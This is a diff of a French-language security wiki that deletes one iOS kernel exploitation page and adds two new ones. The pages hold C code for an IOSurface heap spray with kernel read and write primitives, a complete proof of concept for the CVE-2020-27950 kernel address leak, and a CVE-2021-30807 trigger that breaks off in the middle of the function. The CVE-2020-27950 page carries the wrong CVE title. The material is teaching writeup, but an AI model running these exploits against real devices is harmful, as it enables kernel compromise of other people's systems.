diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b18b11ccd..d4104d430 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -838,7 +838,7 @@ - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) # đŸ€– AI - [AI Security](AI/README.md) diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md deleted file mode 100644 index 2cd8f470e..000000000 --- a/src/binary-exploitation/ios-exploiting.md +++ /dev/null @@ -1,208 +0,0 @@ -# iOS Exploiting - -{{#include ../banners/hacktricks-training.md}} - -## Utilisation physique aprĂšs libĂ©ration - -Ceci est un rĂ©sumĂ© du post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), de plus, des informations supplĂ©mentaires sur l'exploitation utilisant cette technique peuvent ĂȘtre trouvĂ©es dans [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) - -### Gestion de la mĂ©moire dans XNU - -L'**espace d'adresses mĂ©moire virtuelle** pour les processus utilisateurs sur iOS s'Ă©tend de **0x0 Ă  0x8000000000**. Cependant, ces adresses ne correspondent pas directement Ă  la mĂ©moire physique. Au lieu de cela, le **noyau** utilise des **tables de pages** pour traduire les adresses virtuelles en **adresses physiques** rĂ©elles. - -#### Niveaux des Tables de Pages dans iOS - -Les tables de pages sont organisĂ©es hiĂ©rarchiquement en trois niveaux : - -1. **Table de Pages L1 (Niveau 1)** : -* Chaque entrĂ©e ici reprĂ©sente une large plage de mĂ©moire virtuelle. -* Elle couvre **0x1000000000 bytes** (ou **256 Go**) de mĂ©moire virtuelle. -2. **Table de Pages L2 (Niveau 2)** : -* Une entrĂ©e ici reprĂ©sente une rĂ©gion plus petite de mĂ©moire virtuelle, spĂ©cifiquement **0x2000000 bytes** (32 Mo). -* Une entrĂ©e L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la rĂ©gion elle-mĂȘme. -3. **Table de Pages L3 (Niveau 3)** : -* C'est le niveau le plus fin, oĂč chaque entrĂ©e mappe une seule page mĂ©moire de **4 Ko**. -* Une entrĂ©e L2 peut pointer vers une table L3 si un contrĂŽle plus granulaire est nĂ©cessaire. - -#### Mapping de la MĂ©moire Virtuelle Ă  Physique - -* **Mapping Direct (Mapping par Bloc)** : -* Certaines entrĂ©es dans une table de pages **mappent directement une plage d'adresses virtuelles** Ă  une plage contiguĂ« d'adresses physiques (comme un raccourci). -* **Pointeur vers la Table de Pages Enfant** : -* Si un contrĂŽle plus fin est nĂ©cessaire, une entrĂ©e Ă  un niveau (par exemple, L1) peut pointer vers une **table de pages enfant** au niveau suivant (par exemple, L2). - -#### Exemple : Mapping d'une Adresse Virtuelle - -Disons que vous essayez d'accĂ©der Ă  l'adresse virtuelle **0x1000000000** : - -1. **Table L1** : -* Le noyau vĂ©rifie l'entrĂ©e de la table de pages L1 correspondant Ă  cette adresse virtuelle. Si elle a un **pointeur vers une table de pages L2**, elle va Ă  cette table L2. -2. **Table L2** : -* Le noyau vĂ©rifie la table de pages L2 pour un mapping plus dĂ©taillĂ©. Si cette entrĂ©e pointe vers une **table de pages L3**, elle y procĂšde. -3. **Table L3** : -* Le noyau consulte l'entrĂ©e finale L3, qui pointe vers l'**adresse physique** de la page mĂ©moire rĂ©elle. - -#### Exemple de Mapping d'Adresse - -Si vous Ă©crivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors : - -* Les adresses virtuelles de **0x1000000000** Ă  **0x1002000000** mappent aux adresses physiques de **0x800004000** Ă  **0x802004000**. -* C'est un **mapping par bloc** au niveau L2. - -Alternativement, si l'entrĂ©e L2 pointe vers une table L3 : - -* Chaque page de 4 Ko dans la plage d'adresses virtuelles **0x1000000000 -> 0x1002000000** serait mappĂ©e par des entrĂ©es individuelles dans la table L3. - -### Utilisation physique aprĂšs libĂ©ration - -Une **utilisation physique aprĂšs libĂ©ration** (UAF) se produit lorsque : - -1. Un processus **alloue** de la mĂ©moire comme **lisible et Ă©crivable**. -2. Les **tables de pages** sont mises Ă  jour pour mapper cette mĂ©moire Ă  une adresse physique spĂ©cifique que le processus peut accĂ©der. -3. Le processus **dĂ©salloue** (libĂšre) la mĂ©moire. -4. Cependant, en raison d'un **bug**, le noyau **oublie de supprimer le mapping** des tables de pages, mĂȘme s'il marque la mĂ©moire physique correspondante comme libre. -5. Le noyau peut alors **rĂ©allouer cette mĂ©moire physique "libĂ©rĂ©e"** Ă  d'autres fins, comme des **donnĂ©es du noyau**. -6. Puisque le mapping n'a pas Ă©tĂ© supprimĂ©, le processus peut toujours **lire et Ă©crire** dans cette mĂ©moire physique. - -Cela signifie que le processus peut accĂ©der aux **pages de mĂ©moire du noyau**, qui pourraient contenir des donnĂ©es ou des structures sensibles, permettant potentiellement Ă  un attaquant de **manipuler la mĂ©moire du noyau**. - -### StratĂ©gie d'Exploitation : Spray de Tas - -Puisque l'attaquant ne peut pas contrĂŽler quelles pages spĂ©cifiques du noyau seront allouĂ©es Ă  la mĂ©moire libĂ©rĂ©e, il utilise une technique appelĂ©e **spray de tas** : - -1. L'attaquant **crĂ©e un grand nombre d'objets IOSurface** dans la mĂ©moire du noyau. -2. Chaque objet IOSurface contient une **valeur magique** dans l'un de ses champs, ce qui le rend facile Ă  identifier. -3. Ils **scannent les pages libĂ©rĂ©es** pour voir si l'un de ces objets IOSurface s'est retrouvĂ© sur une page libĂ©rĂ©e. -4. Lorsqu'ils trouvent un objet IOSurface sur une page libĂ©rĂ©e, ils peuvent l'utiliser pour **lire et Ă©crire dans la mĂ©moire du noyau**. - -Plus d'infos Ă  ce sujet dans [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) - -### Processus de Spray de Tas Étape par Étape - -1. **Spray d'Objets IOSurface** : L'attaquant crĂ©e de nombreux objets IOSurface avec un identifiant spĂ©cial ("valeur magique"). -2. **Scanner les Pages LibĂ©rĂ©es** : Ils vĂ©rifient si l'un des objets a Ă©tĂ© allouĂ© sur une page libĂ©rĂ©e. -3. **Lire/Écrire dans la MĂ©moire du Noyau** : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacitĂ© d'effectuer des **lectures et Ă©critures arbitraires** dans la mĂ©moire du noyau. Cela leur permet de : -* Utiliser un champ pour **lire n'importe quelle valeur 32 bits** dans la mĂ©moire du noyau. -* Utiliser un autre champ pour **Ă©crire des valeurs 64 bits**, atteignant un **primitive de lecture/Ă©criture stable du noyau**. - -GĂ©nĂ©rer des objets IOSurface avec la valeur magique IOSURFACE\_MAGIC pour rechercher plus tard : -```c -void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { -if (*nClients >= 0x4000) return; -for (int i = 0; i < nSurfaces; i++) { -fast_create_args_t args; -lock_result_t result; - -size_t size = IOSurfaceLockResultSize; -args.address = 0; -args.alloc_size = *nClients + 1; -args.pixel_format = IOSURFACE_MAGIC; - -IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); -io_connect_t id = result.surface_id; - -(*clients)[*nClients] = id; -*nClients = (*nClients) += 1; -} -} -``` -Recherchez des objets **`IOSurface`** dans une page physique libĂ©rĂ©e : -```c -int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { -io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); -int nSurfaceIDs = 0; - -for (int i = 0; i < 0x400; i++) { -spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - -for (int j = 0; j < nPages; j++) { -uint64_t start = puafPages[j]; -uint64_t stop = start + (pages(1) / 16); - -for (uint64_t k = start; k < stop; k += 8) { -if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { -info.object = k; -info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; -if (self_task) *self_task = iosurface_get_receiver(k); -goto sprayDone; -} -} -} -} - -sprayDone: -for (int i = 0; i < nSurfaceIDs; i++) { -if (surfaceIDs[i] == info.surface) continue; -iosurface_release(client, surfaceIDs[i]); -} -free(surfaceIDs); - -return 0; -} -``` -### RĂ©aliser des opĂ©rations de lecture/Ă©criture du noyau avec IOSurface - -AprĂšs avoir obtenu le contrĂŽle d'un objet IOSurface dans la mĂ©moire du noyau (mappĂ© Ă  une page physique libĂ©rĂ©e accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des **opĂ©rations de lecture et d'Ă©criture arbitraires dans le noyau**. - -**Champs clĂ©s dans IOSurface** - -L'objet IOSurface a deux champs cruciaux : - -1. **Pointeur de compteur d'utilisation** : Permet une **lecture 32 bits**. -2. **Pointeur d'horodatage indexĂ©** : Permet une **Ă©criture 64 bits**. - -En Ă©crasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mĂ©moire du noyau, permettant des capacitĂ©s de lecture/Ă©criture. - -#### Lecture du noyau 32 bits - -Pour effectuer une lecture : - -1. Écrasez le **pointeur de compteur d'utilisation** pour qu'il pointe vers l'adresse cible moins un dĂ©calage de 0x14 octets. -2. Utilisez la mĂ©thode `get_use_count` pour lire la valeur Ă  cette adresse. -```c -uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { -uint64_t args[1] = {surfaceID}; -uint32_t size = 1; -uint64_t out = 0; -IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); -return (uint32_t)out; -} - -uint32_t iosurface_kread32(uint64_t addr) { -uint64_t orig = iosurface_get_use_count_pointer(info.object); -iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 -uint32_t value = get_use_count(info.client, info.surface); -iosurface_set_use_count_pointer(info.object, orig); -return value; -} -``` -#### Écriture du noyau 64 bits - -Pour effectuer une Ă©criture : - -1. Écrasez le **pointeur de timestamp indexĂ©** Ă  l'adresse cible. -2. Utilisez la mĂ©thode `set_indexed_timestamp` pour Ă©crire une valeur 64 bits. -```c -void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { -uint64_t args[3] = {surfaceID, 0, value}; -IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); -} - -void iosurface_kwrite64(uint64_t addr, uint64_t value) { -uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); -iosurface_set_indexed_timestamp_pointer(info.object, addr); -set_indexed_timestamp(info.client, info.surface, value); -iosurface_set_indexed_timestamp_pointer(info.object, orig); -} -``` -#### RĂ©capitulatif du Flux d'Exploitation - -1. **DĂ©clencher un Utilisation-AprĂšs-Libre Physique** : Des pages libĂ©rĂ©es sont disponibles pour rĂ©utilisation. -2. **PulvĂ©riser des Objets IOSurface** : Allouer de nombreux objets IOSurface avec une "valeur magique" unique dans la mĂ©moire du noyau. -3. **Identifier un IOSurface Accessible** : Localiser un IOSurface sur une page libĂ©rĂ©e que vous contrĂŽlez. -4. **Abuser de l'Utilisation-AprĂšs-Libre** : Modifier les pointeurs dans l'objet IOSurface pour permettre une **lecture/Ă©criture** **kernel** arbitraire via les mĂ©thodes IOSurface. - -Avec ces primitives, l'exploitation fournit des **lectures 32 bits** contrĂŽlĂ©es et des **Ă©critures 64 bits** dans la mĂ©moire du noyau. D'autres Ă©tapes de jailbreak pourraient impliquer des primitives de lecture/Ă©criture plus stables, ce qui pourrait nĂ©cessiter de contourner des protections supplĂ©mentaires (par exemple, PPL sur les nouveaux appareils arm64e). - - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md new file mode 100644 index 000000000..8c95ff088 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -0,0 +1,332 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## The Bug + +Vous avez une [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), mais en rĂ©sumĂ© : + +Every Mach message the kernel receives ends with a **"trailer"**: a variable-length struct with metadata (seqno, sender token, audit token, context, access control data, labels...). The kernel **always reserves the largest possible trailer** (MAX_TRAILER_SIZE) in the message buffer, but **only initializes some fields**, then later **decides which trailer size to return** based on **user-controlled receive options**. + +These are the trailer relevant structs: +```c +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +} mach_msg_trailer_t; + +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +mach_port_seqno_t msgh_seqno; +security_token_t msgh_sender; +audit_token_t msgh_audit; +mach_port_context_t msgh_context; +int msgh_ad; +msg_labels_t msgh_labels; +} mach_msg_mac_trailer_t; + +#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) +typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; +#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) +``` +Ensuite, lorsque l'objet trailer est gĂ©nĂ©rĂ©, seuls certains champs sont initialisĂ©s, et la taille maximale du trailer est toujours rĂ©servĂ©e : +```c +trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); +trailer->msgh_sender = current_thread()->task->sec_token; +trailer->msgh_audit = current_thread()->task->audit_token; +trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; +trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; +[...] +trailer->msgh_labels.sender = 0; +``` +Puis, par exemple, lorsqu'on tente de lire un mach message en utilisant `mach_msg()`, la fonction `ipc_kmsg_add_trailer()` est appelĂ©e pour ajouter le trailer au message. À l'intĂ©rieur de cette fonction, la taille du trailer est calculĂ©e et certains autres champs du trailer sont remplis : +```c +if (!(option & MACH_RCV_TRAILER_MASK)) { [3] +return trailer->msgh_trailer_size; +} + +trailer->msgh_seqno = seqno; +trailer->msgh_context = context; +trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); +``` +Le paramĂštre `option` est contrĂŽlĂ© par l'utilisateur, donc **il est nĂ©cessaire de fournir une valeur qui satisfait la condition `if`.** + +Pour passer cette vĂ©rification, nous devons envoyer un `option` pris en charge valide : +```c +#define MACH_RCV_TRAILER_NULL 0 +#define MACH_RCV_TRAILER_SEQNO 1 +#define MACH_RCV_TRAILER_SENDER 2 +#define MACH_RCV_TRAILER_AUDIT 3 +#define MACH_RCV_TRAILER_CTX 4 +#define MACH_RCV_TRAILER_AV 7 +#define MACH_RCV_TRAILER_LABELS 8 + +#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) +#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) +#define MACH_RCV_TRAILER_MASK ((0xf << 24)) +``` +Mais, puisque `MACH_RCV_TRAILER_MASK` ne fait que vĂ©rifier des bits, nous pouvons passer n'importe quelle valeur entre `0` et `8` pour ne pas entrer dans le `if`. + +Ensuite, en continuant avec le code, vous pouvez trouver : +```c +if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { +trailer->msgh_ad = 0; +} + +/* +* The ipc_kmsg_t holds a reference to the label of a label +* handle, not the port. We must get a reference to the port +* and a send right to copyout to the receiver. +*/ + +if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { +trailer->msgh_labels.sender = 0; +} + +done: +#ifdef __arm64__ +ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); +#endif /* __arm64__ */ + +return trailer->msgh_trailer_size; +``` +Comme on peut le voir, si `option` est supĂ©rieur ou Ă©gal Ă  `MACH_RCV_TRAILER_AV` (7), le champ **`msgh_ad`** est initialisĂ© Ă  `0`. + +Si vous avez remarquĂ©, **`msgh_ad`** Ă©tait encore le seul champ du trailer qui n'Ă©tait pas initialisĂ© auparavant et qui pouvait contenir un leak provenant d'une mĂ©moire prĂ©cĂ©demment utilisĂ©e. + +Donc, pour Ă©viter de l'initialiser, il suffit de passer une valeur `option` Ă©gale Ă  `5` ou `6`, ainsi elle passe le premier test `if` et n'entre pas dans l'`if` qui initialise `msgh_ad`, parce que les valeurs `5` et `6` n'ont aucun type de trailer associĂ©. + +### PoC basique + +Dans le [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), il y a un PoC pour simplement leak quelques donnĂ©es alĂ©atoires. + +### PoC pour leak d'une adresse kernel + +Dans le [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), il y a un PoC pour leak une adresse kernel. Pour cela, un message rempli de structures `mach_msg_port_descriptor_t` est envoyĂ© car le champ `name` de cette structure en userland contient un unsigned int alors qu'en kernel le champ `name` est un pointeur vers la structure `ipc_port`. Par consĂ©quent, envoyer des dizaines de ces structures dans le message cĂŽtĂ© kernel revient Ă  **ajouter plusieurs adresses kernel Ă  l'intĂ©rieur du message** afin que l'une d'elles puisse ĂȘtre leakĂ©e. + +Des commentaires ont Ă©tĂ© ajoutĂ©s pour une meilleure comprĂ©hension : +```c +#include +#include +#include +#include + +// Number of OOL port descriptors in the "big" message. +// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). +#define LEAK_PORTS 50 + +// "Big" message: many descriptors → larger descriptor array in kmsg +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; +} message_big_t; + +// "Small" message: fewer descriptors → leaves more room for the trailer +// to overlap where descriptor pointers used to be in the reused kalloc chunk. +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; +} message_small_t; + +int main(int argc, char *argv[]) { +mach_port_t port; // our local receive port (target of sends) +mach_port_t sent_port; // the port whose kernel address we want to leak + +/* +* 1) Create a receive right and attach a send right so we can send to ourselves. +* This gives us predictable control over ipc_kmsg allocations when we send. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + +/* +* 2) Create another receive port (sent_port). We'll reference this port +* in OOL descriptors so the kernel stores pointers to its ipc_port +* structure in the kmsg → those pointers are what we aim to leak. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); +mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); + +printf("[*] Will get port %x address\n", sent_port); + +message_big_t *big_message = NULL; +message_small_t *small_message = NULL; + +// Compute userland sizes of our message structs +mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); +mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); + +// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) +big_message = malloc(big_size + MAX_TRAILER_SIZE); +small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +/* +* 3) Prepare the "big" message: +* - Complex bit set (has descriptors) +* - 50 OOL port descriptors, all pointing to the same sent_port +* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). +* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel). +*/ +printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); +memset(big_message, 0, big_size + MAX_TRAILER_SIZE); + +big_message->header.msgh_remote_port = port; // send to our receive right +big_message->header.msgh_size = big_size; +big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +big_message->body.msgh_descriptor_count = LEAK_PORTS; + +for (int i = 0; i < LEAK_PORTS; i++) { +big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers +} + +/* +* 4) Prepare the "small" message: +* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, +* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. +*/ +printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); +memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +small_message->header.msgh_remote_port = port; +small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; + +for (int i = 0; i < LEAK_PORTS - 10; i++) { +small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +small_message->sent_ports[i].name = sent_port; +} + +/* +* 5) Receive buffer for reading back messages with trailers. +* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). +* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized +* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. +*/ +uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); +mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) +uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks + +/* +* ---------- Exploitation sequence ---------- +* +* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many +* kernel pointers (ipc_port*) in its descriptor array. +*/ +printf("[*] Sending message 1\n"); +mach_msg(&big_message->header, +MACH_SEND_MSG, +big_size, // send size +0, // no receive +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step B: Immediately receive/discard it with a zero-sized buffer. +* This frees the kalloc chunk without copying descriptors back, +* leaving the kernel pointers resident in freed memory (stale). +*/ +printf("[*] Discarding message 1\n"); +mach_msg((mach_msg_header_t *)0, +MACH_RCV_MSG, // try to receive +0, // send size 0 +0, // recv size 0 (forces error/free path) +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step C: Reuse the same size-class with the "small" message (fewer descriptors). +* We slightly bump msgh_size by +4 so that when the kernel appends +* the trailer, the trailer's uninitialized field `msgh_ad` overlaps +* the low 4 bytes of a stale ipc_port* pointer from the prior message. +*/ +small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window +printf("[*] Sending message 2\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t), +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step D: Receive message 2 and request an invalid trailer elements value (5). +* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer. +* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size. +* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), +* so with 5, `msgh_ad` remains uninitialized → stale bytes leak. +*/ +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 2\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 +0, +small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +// Trailer begins right after the message body we sent (small_size + 4) +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); + +// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*) +sent_port_address |= (uint32_t)trailer->msgh_ad; + +/* +* Step E: Repeat the A→D cycle but now shift by another +4 bytes. +* This moves the overlap window so `msgh_ad` captures the high 4 bytes. +*/ +printf("[*] Sending message 3\n"); +mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +printf("[*] Discarding message 3\n"); +mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +// add another +4 to msgh_size → total +8 shift from the baseline +small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; +printf("[*] Sending message 4\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t)*2, +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 4\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), +0, +small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); + +// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer +sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; + +printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); + +return 0; +} +``` +## RĂ©fĂ©rences + +- [Article de blog de Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md new file mode 100644 index 000000000..1a42994ed --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md @@ -0,0 +1,297 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## La faille + +Vous avez une [excellente explication de la vuln ici](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), mais pour rĂ©sumer : + +- Le chemin de code vulnĂ©rable est **external method #83** du client utilisateur **IOMobileFramebuffer / AppleCLCD** : `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Cette mĂ©thode reçoit un paramĂštre contrĂŽlĂ© par l'utilisateur qui n'est vĂ©rifiĂ© d'aucune maniĂšre et qui est transmis Ă  la fonction suivante sous le nom **`scalar0`**. + +- Cette mĂ©thode appelle **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, oĂč **`scalar0`** (une valeur **32-bit** contrĂŽlĂ©e par l'utilisateur) est utilisĂ©e comme **index** dans un **tableau interne de pointeurs** sans **aucune vĂ©rification de bornes** : + +> `ptr = *(this + 0xA58 + scalar0 * 8);` → passĂ© Ă  `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` comme un **`IOSurface*`**.\ +> **RĂ©sultat :** **OOB pointer read & type confusion** sur ce tableau. Si le pointeur n'est pas valide, le dĂ©rĂ©fĂ©rencement du kernel panique → **DoS**. + +> [!NOTE] +> Ceci a Ă©tĂ© corrigĂ© dans **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** + + +> [!WARNING] +> La fonction initiale pour appeler `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` est protĂ©gĂ©e par l'entitlement **`com.apple.private.allow-explicit-graphics-priority`**. Cependant, **WebKit.WebContent** possĂšde cet entitlement, donc il peut ĂȘtre utilisĂ© pour dĂ©clencher la vuln depuis un processus sandboxĂ©. + +## PoC DoS + +Le PoC DoS suivant est le PoC initial du billet de blog original avec des commentaires supplĂ©mentaires : +```c +// PoC for CVE-2021-30807 trigger (annotated) +// NOTE: This demonstrates the crash trigger; it is NOT an LPE. +// Build/run only on devices you own and that are vulnerable. +// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory) +// https://support.apple.com/en-us/103144 +// https://nvd.nist.gov/vuln/detail/CVE-2021-30807 + +void trigger_clcd_vuln(void) { +kern_return_t ret; 